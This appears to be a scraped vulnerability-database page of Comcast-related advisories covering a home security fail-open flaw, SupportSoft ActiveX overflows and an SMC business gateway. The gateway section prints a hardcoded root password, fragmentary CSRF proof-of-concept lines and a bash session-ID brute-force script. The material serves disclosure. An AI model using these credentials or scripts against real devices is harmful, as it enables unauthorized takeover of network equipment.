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12 vulnerabilities by comcast
VAR-201602-0124
Vulnerability from variot - Updated: 2023-12-18 13:53Comcast XFINITY Home Security System does not properly maintain base-station communication, which allows physically proximate attackers to defeat sensor functionality by interfering with ZigBee 2.4 GHz transmissions. Comcast XFINITY Home Security does not fail securely, which may be leveraged to avoid triggering alarm events. Comcast XFINITY Home Security The system has a problem in handling when the wireless connection between the sensor and the base station is broken, which may intentionally interfere with alarm generation. CWE-636: Not Failing Securely ('Failing Open') Comcast XFINITY Home Security Then, the frequency between the sensors and base stations that make up the system 2.4GHz , ZigBee We are communicating by protocol. Comcast XFINITY Home Security May not be alerted when wireless communication is interrupted, and it may take several minutes to several hours for communication to recover. Alerts will not occur while communication is interrupted. Therefore, by interfering with the wireless connection, Home Security It is possible to suppress the occurrence of alerts from. CWE-636: Not Failing Securely ('Failing Open') https://cwe.mitre.org/data/definitions/636.html For more information, Rapid7 See the blog post. Rapid7 Blog posts https://community.rapid7.com/community/infosec/blog/2016/01/05/r7-2015-23-comcast-xfinity-home-security-system-insecure-fail-open In addition, National Vulnerability Database (NVD) CVE-2016-2398 Then CWE-254 It is published as CWE-254: Security Features ( Security function ) http://cwe.mitre.org/data/definitions/254.htmlAlert operation may be interrupted. The ComcastXfinity Home Security System is Comcast's smart home monitoring system solution that provides residential alarms and services such as cable, internet and telephone services. Comcast XFINITY Home Security is a complete home security system from Comcast. The system provides functions such as online access security monitoring. A denial of service vulnerability exists in Comcast XFINITY Home Security. An attacker could use this vulnerability to cause a denial of service
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VAR-200702-0006
Vulnerability from variot - Updated: 2023-12-18 13:10Multiple buffer overflows in the SupportSoft (1) SmartIssue (tgctlsi.dll) and (2) ScriptRunner (tgctlsr.dll) ActiveX controls, as used by Symantec Automated Support Assistant and Norton AntiVirus, Internet Security, and System Works 2006, allows remote attackers to execute arbitrary code via a crafted HTML message. The affected software component is included in several third-party applications. SupportSoft is a software that implements self-service functions, and users can use it to solve some problems they encounter. Symantec's Norton Internet Security 2006 suite, which includes the SupportSoft tool, is also affected by the vulnerability.
Secunia is proud to announce the availability of the Secunia Software Inspector.
The Secunia Software Inspector is a free service that detects insecure versions of software that you may have installed in your system. When insecure versions are detected, the Secunia Software Inspector also provides thorough guidelines for updating the software to the latest secure version from the vendor.
Try it out online: http://secunia.com/software_inspector/
TITLE: SupportSoft ActiveX Controls Buffer Overflow Vulnerabilities
SECUNIA ADVISORY ID: SA24251
VERIFY ADVISORY: http://secunia.com/advisories/24251/
CRITICAL: Highly critical
IMPACT: System access
WHERE:
From remote
SOFTWARE: SupportSoft ActiveX Controls 5.x http://secunia.com/product/13545/ SupportSoft ActiveX Controls 6.x http://secunia.com/product/13546/
DESCRIPTION: Some vulnerabilities have been reported in various SupportSoft ActiveX controls, which can be exploited by malicious people to compromise a user's system.
The vulnerabilities are caused due to boundary errors within the SmartIssue, RemoteAssist, and Probe ActiveX controls. These can be exploited to cause stack-based buffer overflows via overly long arguments passed to various methods.
Successful exploitation allows execution of arbitrary code but requires that the user is e.g. tricked into visiting a malicious web site.
The vulnerabilities reportedly affect versions 5.5, 5.6, and 6.x.
SOLUTION: Apply updates. http://www.supportsoft.com/support/controls_update.asp
PROVIDED AND/OR DISCOVERED BY: Independently discovered by: * Mark Litchfield, NGSSoftware * Peter Vreugdenhil, reported via iDefense Labs * Will Dormann, CERT/CC
ORIGINAL ADVISORY: SupportSoft: http://www.supportsoft.com/support/Security%20Advisory%202006-01-V2007.pdf
US-CERT VU#441785: http://www.kb.cert.org/vuls/id/441785
iDefense Labs: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=478
About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. Symantec Security Advisory
SYM07-002 http://www.symantec.com/avcenter/security/Content/2007.02.22.html
BID 22564
22 Feb, 2007
Stack Overflow in Third-Party ActiveX Controls affects Multiple Vendor Products Including Some Symantec Consumer Products and Automated Support Assistant
Revision History None
Severity High (dependent on configuration and user interaction)
BID22564 http://www.symantec.com/avcenter/security/Content/2007.02.22.html
Remote Access Yes Local Access No Authentication Required No Exploit publicly available No Overview Vulnerabilities were identified in third-party trouble-shooting ActiveX controls, developed by SupportSoft, www.supportsoft.com . Two of these controls were signed, shipped and installed with the identified versions of Symantec\x92s consumer products and as part of the Symantec Automated Support Assistant support tool. The vulnerability identified in the Symantec shipped controls could potentially result in a stack overflow requiring user interaction to exploit. If successfully exploited this vulnerability could potentially compromise a user\x92s system possibly allowing execution of arbitrary code or unauthorized access to system assets with the permissions of the user\x92s browser.
Supported Symantec Product(s) Affected Product Solution(s) Symantec Automated Support Assistant Update Available Symantec Norton AntiVirus 2006 Update Available Symantec Norton Internet Security 2006 Update Available Symantec Norton System Works 2006 Update Available
Symantec Products NOT Affected Product(s) Version Symantec 2007 Consumer Products All Symantec Norton 360 Symantec Corporate and Enterprise Products All
NOTE: Only Symantec Consumer products indicated as affected above shipped with these vulnerable components. The Symantec Automated Support Assistant is used by online consumer customer support when a consumer customer visits the support site requiring assistance.
The Automated Support Assistant tool aids in providing the user with solution information to their problems. TheSupportSoft ActiveX controls were initially implemented mid-2005 on Symantec's consumer support site. During the timeframe up to
August 2006, when the non-vulnerable controls were made available, vulnerable controls could potentially be installed by the Automated Support Assistant on customer systems running Symantec
consumer products and versions other than those listed above.
See Symantec Response section to determine if your product has a vulnerable version of the Automated Support Assistant fix tool.
Symantec Corporate and Enterprise products do not ship with these components and are NOT vulnerable to this issue. These SupportSoft ActiveX components did not properly validate external input. This failure could potentially lead to unauthorized access to system resources or the possible execution of malicious code with the privileges of the user\x92s browser, resulting in a potential compromise of the user\x92s system. Any attempt to exploit these issues would require interactive user involvement. An attacker would need to be able to effectively entice a user to visit a malicious web site where their malicious code was hosted or to click on a malicious URL in any attempt to compromise the user\x92s system. While these SupportSoft-developed components should also have been effectively site-locked, which would havefurther reduced the severity, this capability was found to be improperly implemented in the vulnerable versions.
Symantec Response Symantec worked closely with SupportSoft to ensure updates were quickly made available for the identified controls. SupportSoft has posted a Security Bulletin, http://www.supportsoft.com/support/controls_update.asp, for the controls Symantec uses and controls used in other products on their support site, www.supportsoft.com.
Symantec immediately removed the vulnerable controls from its consumer support site. Symantec engineers tested the updates provided by SupportSoft extensively and once tested updated the Symantec Automated Support Assistant on Symantec's support site. Additionally, in November 2006, the vulnerable versions of these controls were disabled through LiveUpdate for Symantec consumer customers who regularly run interactive updates to their Symantec applications. Those Symantec consumer customers who rely solely on Automatic LiveUpdate would have received an automatic notification to initiate an interactive LiveUpdate session to obtain all pending updates. To ensure all updates have been properly retrieved and applied to Symantec consumer products, users should regularly run an interactive LiveUpdate session as follows: * Open any installed Symantec consumer product * Click on LiveUpdate in the GUI toolbar * Run LiveUpdate until all available Symantec product updates are downloaded and installed or you are advised that your system has the latest updates available. Symantec recommends customers always ensure they have the latest updates to protect against threats.
Symantec customers who previously downloaded the Symantec Automated Support Assistant tool beginning in July 2005 and those who have installed versions of the consumer products indicated above may also go to the Symantec
support site, https://www-secure.symantec.com/techsupp/asa/install.jsp to ensure they have the updated version of the Automated Support Assistant fix tool. By
downloading the updated version of the Symantec Automated Support Assistant fix tool, any existing legacy controls are updated with non-vulnerable
versions.
Customers, who have received support assistance since August 2006, will already have the latest non-vulnerable versions of these controls.
Symantec has not seen any active attempts against or customer impact from these issues.
Mitigation Symantec Security Response is releasing an AntiVirus Bloodhound definition Bloodhound.Exploit.119, a heuristic detection and prevention for attempts to exploit these vulnerable controls. Virus definitions containing this heuristic will be available through Symantec LiveUpdate or Symantec's Intelligent Updater. IDS signatures have also been released to detect and block attempts to exploit this issue. Customers using Symantec Norton Internet Security or Norton Personal Firewall receive regular signature updates if they run LiveUpdate automatically. If not using the Automatic LiveUpdate function, Symantec recommends customers interactively run Symantec LiveUpdate frequently to ensure they have the most current protection available. Establishing more secure Internet zone settings for the local user can prohibit activation of ActiveX controls without the user\x92s consent. An attacker who successfully exploited this vulnerability could gain the user rights of the local user. Users whose accounts are configured to have fewer user rights on the system would be less impacted than users who operate with administrative privileges.
As always, if previously unknown malicious code were attempted to be distributed in this manner, Symantec Security Response would react quickly to updated definitions via LiveUpdate to detect and deter any new threat(s).
Best Practices As part of normal best practices, Symantec strongly recommends a multi-layered approach to security: * Run under the principle of least privilege where possible. * Keep all operating systems and applications updated with the latest vendor patches. * Users, at a minimum, should run both a personal firewall and antivirus application with current updates to provide multiple points of detection and protection to both inbound and outbound threats. * Users should be cautious of mysterious attachments and executables delivered via email and be cautious of browsing unknown/untrusted websites or clicking on unknown/untrusted URL links. * Do not open unidentified attachments or executables from unknown sources or that you didn't request or were unaware of. * Always err on the side of caution. Even if the sender is known, the source address may be spoofed. * If in doubt, contact the sender to confirm they sent it and why before opening the attachment. If still in doubt, delete the attachment without opening it.
CVE A CVE Candidate CVE-2006-6490 has been assigned. This issue is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems.
Credit: Symantec has coordinated very closely with SupportSoft to help ensure that all additional affected vendor customer bases has been provide with information concerning affected controls and updates to address the vulnerability. Symantec wants to thank Mark Litchfield of NGS Software Ltd. for the initial identification and notification of this issue and for the excellent, in-depth coordination with both Symantec and SupportSoft while resolving the issue. Additionally, this issue was independently identified by the analysts at CERT, in CERT Vulnerability Note VU#441785, who reported their findings to and worked closely with both Symantec and SupportSoft through to resolution and by Peter Vreugdenhil, working through iDefense who coordinated with Symantec as we resolved the issue.
Symantec takes the security and proper functionality of its products very seriously. As founding members of the Organization for Internet Safety (OISafety), Symantec follows the principles of responsible disclosure. Symantec also subscribes to the vulnerability guidelines outlined by the National Infrastructure Advisory Council (NIAC). Please contact secure@symantec.com if you feel you have discovered a potential or actual security issue with a Symantec product. A Symantec Product Security team member will contact you regarding your submission.
Symantec has developed a Product Vulnerability Handling Process document outlining the process we follow in addressing suspected vulnerabilities in our products. We support responsible disclosure of all vulnerability information in a timely manner to protect Symantec customers and the security of the Internet as a result of vulnerability. This document is available from http://www.symantec.com/security/
Symantec strongly recommends using encrypted email for reporting vulnerability information to secure@symantec.com. The Symantec Product Security PGP key can be obtained from the location provided above
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"data": "Multiple buffer overflows in the SupportSoft (1) SmartIssue (tgctlsi.dll) and (2) ScriptRunner (tgctlsr.dll) ActiveX controls, as used by Symantec Automated Support Assistant and Norton AntiVirus, Internet Security, and System Works 2006, allows remote attackers to execute arbitrary code via a crafted HTML message. \nThe affected software component is included in several third-party applications. SupportSoft is a software that implements self-service functions, and users can use it to solve some problems they encounter. Symantec\u0027s Norton Internet Security 2006 suite, which includes the SupportSoft tool, is also affected by the vulnerability. \n\n----------------------------------------------------------------------\n\nSecunia is proud to announce the availability of the Secunia Software\nInspector. \n\nThe Secunia Software Inspector is a free service that detects insecure\nversions of software that you may have installed in your system. When\ninsecure versions are detected, the Secunia Software Inspector also\nprovides thorough guidelines for updating the software to the latest\nsecure version from the vendor. \n\nTry it out online:\nhttp://secunia.com/software_inspector/\n\n----------------------------------------------------------------------\n\nTITLE:\nSupportSoft ActiveX Controls Buffer Overflow Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA24251\n\nVERIFY ADVISORY:\nhttp://secunia.com/advisories/24251/\n\nCRITICAL:\nHighly critical\n\nIMPACT:\nSystem access\n\nWHERE:\n\u003eFrom remote\n\nSOFTWARE:\nSupportSoft ActiveX Controls 5.x\nhttp://secunia.com/product/13545/\nSupportSoft ActiveX Controls 6.x\nhttp://secunia.com/product/13546/\n\nDESCRIPTION:\nSome vulnerabilities have been reported in various SupportSoft\nActiveX controls, which can be exploited by malicious people to\ncompromise a user\u0027s system. \n\nThe vulnerabilities are caused due to boundary errors within the\nSmartIssue, RemoteAssist, and Probe ActiveX controls. These can be\nexploited to cause stack-based buffer overflows via overly long\narguments passed to various methods. \n\nSuccessful exploitation allows execution of arbitrary code but\nrequires that the user is e.g. tricked into visiting a malicious web\nsite. \n\nThe vulnerabilities reportedly affect versions 5.5, 5.6, and 6.x. \n\nSOLUTION:\nApply updates. \nhttp://www.supportsoft.com/support/controls_update.asp\n\nPROVIDED AND/OR DISCOVERED BY:\nIndependently discovered by:\n* Mark Litchfield, NGSSoftware\n* Peter Vreugdenhil, reported via iDefense Labs\n* Will Dormann, CERT/CC\n\nORIGINAL ADVISORY:\nSupportSoft:\nhttp://www.supportsoft.com/support/Security%20Advisory%202006-01-V2007.pdf\n\nUS-CERT VU#441785:\nhttp://www.kb.cert.org/vuls/id/441785\n\niDefense Labs:\nhttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=478\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\neverybody keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Symantec Security Advisory\n\nSYM07-002\nhttp://www.symantec.com/avcenter/security/Content/2007.02.22.html\n\nBID 22564\n\n22 Feb, 2007\n\nStack Overflow in Third-Party ActiveX Controls affects Multiple Vendor Products Including Some Symantec Consumer Products and Automated Support\nAssistant\n\nRevision History\nNone \n\nSeverity\nHigh (dependent on configuration and user interaction)\n\nBID22564\nhttp://www.symantec.com/avcenter/security/Content/2007.02.22.html\n\nRemote Access Yes\nLocal Access No\nAuthentication Required No \nExploit publicly available No\nOverview\nVulnerabilities were identified in third-party trouble-shooting ActiveX\ncontrols, developed by SupportSoft, www.supportsoft.com . Two of these controls were signed, shipped and installed with the identified versions of Symantec\\x92s consumer products and as part of the Symantec Automated Support Assistant \nsupport tool. The vulnerability identified in the Symantec shipped controls could potentially result in a stack overflow requiring user interaction to exploit. If successfully exploited this vulnerability could potentially compromise a user\\x92s system possibly allowing execution of arbitrary code or unauthorized access to system\nassets with the permissions of the user\\x92s browser. \n\nSupported Symantec Product(s) Affected \nProduct Solution(s)\nSymantec Automated Support Assistant\nUpdate Available\nSymantec Norton AntiVirus 2006\nUpdate Available\nSymantec Norton Internet Security 2006\nUpdate Available\nSymantec Norton System Works 2006 \nUpdate Available\n\nSymantec Products NOT Affected\nProduct(s) Version\nSymantec 2007 Consumer Products All\nSymantec Norton 360\nSymantec Corporate and Enterprise Products All\n\nNOTE: Only Symantec Consumer products indicated as affected above shipped with these vulnerable components. The Symantec Automated Support Assistant is used by online consumer customer support when a consumer customer visits the support site requiring assistance. \nThe Automated Support Assistant tool aids in providing the user with solution information to their problems. TheSupportSoft ActiveX controls were initially implemented mid-2005 on Symantec\u0027s consumer support site. During the timeframe up to \nAugust 2006, when the non-vulnerable controls were made available, vulnerable controls could potentially be installed by the Automated Support Assistant on customer systems running Symantec \nconsumer products and versions other than those listed above. \nSee Symantec Response section to determine if your product has a vulnerable version of the Automated Support Assistant fix tool. \n\nSymantec Corporate and Enterprise products do not ship with these components and are NOT vulnerable to this issue. \nThese SupportSoft ActiveX components did not properly validate external input. This failure could potentially lead to unauthorized access to system resources or the possible execution of\nmalicious code with the privileges of the user\\x92s browser, resulting in a potential compromise of the user\\x92s system. \nAny attempt to exploit these issues would require interactive user\ninvolvement. An attacker would need to be able to effectively entice a user to visit a malicious web site where their malicious code was hosted \nor to click on a malicious URL in any attempt to compromise the user\\x92s system. While these SupportSoft-developed components should also \nhave been effectively site-locked, which would havefurther reduced the severity, this capability was found to be improperly implemented in the vulnerable versions. \n\nSymantec Response\nSymantec worked closely with SupportSoft to ensure updates were quickly made available for the identified controls. SupportSoft has posted a\nSecurity Bulletin, http://www.supportsoft.com/support/controls_update.asp, \nfor the controls Symantec uses and controls used in other products on their support site, www.supportsoft.com. \n\nSymantec immediately removed the vulnerable controls from its consumer support site. Symantec engineers tested the updates provided by\nSupportSoft extensively and once tested updated the Symantec Automated Support Assistant on Symantec\u0027s support site. Additionally, in November 2006, the vulnerable versions of these controls were disabled through LiveUpdate for Symantec consumer customers who regularly run interactive updates to their Symantec applications. \nThose Symantec consumer customers who rely solely on Automatic LiveUpdate would have received an automatic notification to initiate an \ninteractive LiveUpdate session to obtain all pending updates. To ensure all updates have been properly retrieved and applied to Symantec \nconsumer products, users should regularly run an interactive LiveUpdate session as follows: \n* Open any installed Symantec consumer product \n* Click on LiveUpdate in the GUI toolbar \n* Run LiveUpdate until all available Symantec product updates are downloaded and installed or you are advised that your system has the latest\nupdates available. \nSymantec recommends customers always ensure they have the latest updates to protect against threats. \n\nSymantec customers who previously downloaded the Symantec Automated Support Assistant tool beginning in July 2005 and those who have installed versions of the consumer products indicated above may also go to the Symantec\nsupport site, https://www-secure.symantec.com/techsupp/asa/install.jsp to ensure they have the updated version of the Automated Support Assistant fix tool. By\ndownloading the updated version of the Symantec Automated Support Assistant fix tool, any existing legacy controls are updated with non-vulnerable\nversions. \nCustomers, who have received support assistance since August 2006, will already have the latest non-vulnerable versions of these controls. \nSymantec has not seen any active attempts against or customer impact from these issues. \n\nMitigation\nSymantec Security Response is releasing an AntiVirus Bloodhound definition \nBloodhound.Exploit.119, a heuristic detection and prevention for attempts to exploit these vulnerable controls. Virus definitions containing this heuristic will be available through Symantec LiveUpdate or Symantec\u0027s Intelligent Updater. \nIDS signatures have also been released to detect and block attempts to exploit this issue. Customers using Symantec Norton Internet Security or Norton Personal Firewall receive regular signature updates if they run LiveUpdate automatically. If not using the Automatic LiveUpdate function, Symantec recommends customers interactively run Symantec LiveUpdate frequently to ensure they have the most current protection available. \nEstablishing more secure Internet zone settings for the local user can prohibit activation of ActiveX controls without the user\\x92s consent. \nAn attacker who successfully exploited this vulnerability could gain the user rights of the local user. Users whose accounts are configured to have fewer user rights on the system would be less impacted than users who operate with administrative privileges. \n\nAs always, if previously unknown malicious code were attempted to be distributed in this manner, Symantec Security Response would react quickly\nto updated definitions via LiveUpdate to detect and deter any new threat(s). \n\nBest Practices\nAs part of normal best practices, Symantec strongly recommends a multi-layered approach to security: \n* Run under the principle of least privilege where possible. \n* Keep all operating systems and applications updated with the latest vendor patches. \n* Users, at a minimum, should run both a personal firewall and antivirus application with current updates to provide multiple points of detection\nand protection to both inbound and outbound threats. \n* Users should be cautious of mysterious attachments and executables delivered via email and be cautious of browsing unknown/untrusted websites or clicking on unknown/untrusted URL links. \n* Do not open unidentified attachments or executables from unknown sources or that you didn\u0027t request or were unaware of. \n* Always err on the side of caution. Even if the sender is known, the source address may be spoofed. \n* If in doubt, contact the sender to confirm they sent it and why before opening the attachment. If still in doubt, delete the attachment without\nopening it. \n\nCVE \nA CVE Candidate CVE-2006-6490 has been assigned. This issue is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes\nnames for security problems. \n\nCredit:\nSymantec has coordinated very closely with SupportSoft to help ensure that all additional affected vendor customer bases has been provide with information concerning affected controls and updates to address the vulnerability. \nSymantec wants to thank Mark Litchfield of NGS Software Ltd. for the initial identification and notification of this issue and for the\nexcellent, in-depth coordination with both Symantec and SupportSoft while resolving the issue. \nAdditionally, this issue was independently identified by the analysts at CERT, \nin CERT Vulnerability Note VU#441785, who reported their findings to and worked closely with both Symantec and SupportSoft through to resolution \nand by Peter Vreugdenhil, working through iDefense who coordinated with Symantec as we resolved the issue. \n\nSymantec takes the security and proper functionality of its products very seriously. As founding members of the Organization for Internet Safety (OISafety), Symantec follows the principles of responsible disclosure. \nSymantec also subscribes to the vulnerability guidelines outlined by the National Infrastructure Advisory Council (NIAC). Please contact \nsecure@symantec.com if you feel you have discovered a potential or actual security issue with a Symantec product. A Symantec Product \nSecurity team member will contact you regarding your submission. \n\nSymantec has developed a Product Vulnerability Handling Process document outlining the process we follow in addressing suspected vulnerabilities in\nour products. \nWe support responsible disclosure of all vulnerability information in a timely manner to protect Symantec customers and the security of the\nInternet as a result of vulnerability. This document is available from\nhttp://www.symantec.com/security/\n\nSymantec strongly recommends using encrypted email for reporting vulnerability information to secure@symantec.com. The Symantec Product\nSecurity PGP key can be obtained from the location provided above",
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VAR-201707-1024
Vulnerability from variot - Updated: 2023-12-18 12:37The Comcast firmware on Motorola MX011ANM (firmware version MX011AN_2.9p6s1_PROD_sey) and Xfinity XR11-20 Voice Remote devices allows local users to upload arbitrary firmware images to an XR11 by leveraging root access. In other words, there is no protection mechanism involving digital signatures for the firmware. Motorola MX011ANM and Xfinity XR11-20 Voice Remote Devices have vulnerabilities related to authorization, permissions, and access control.Information may be tampered with. MotorolaMX011ANM is a network set-top box device from Motorola, USA. The XfinityXR11-20VoiceRemote is a voice remote control device. Comcast is a firmware developed by Comcast, Inc., which runs on devices such as gateways and modems. A security vulnerability exists in the Comcast firmware in the MotorolaMX011ANM and XfinityXR11-20VoiceRemote devices using MX011AN_2.9p6s1_PROD_sey firmware, which is due to a lack of protection for the program
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VAR-201102-0083
Vulnerability from variot - Updated: 2023-12-18 12:31A certain Comcast Business Gateway configuration of the SMC SMCD3G-CCR with firmware before 1.4.0.49.2 has a default password of D0nt4g3tme for the mso account, which makes it easier for remote attackers to obtain administrative access via the (1) web interface or (2) TELNET interface. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
Get a tax break on purchases of Secunia Solutions!
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
1) The web management application generates session identifiers incrementally, which can be exploited to brute force a valid session identifier via the "userid" cookie.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
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. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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"data": "A certain Comcast Business Gateway configuration of the SMC SMCD3G-CCR with firmware before 1.4.0.49.2 has a default password of D0nt4g3tme for the mso account, which makes it easier for remote attackers to obtain administrative access via the (1) web interface or (2) TELNET interface. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. \nExploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. \nComcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------\n\n\nGet a tax break on purchases of Secunia Solutions!\n\nIf you are a U.S. company, you may be qualified for a tax break for your software purchases. Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE 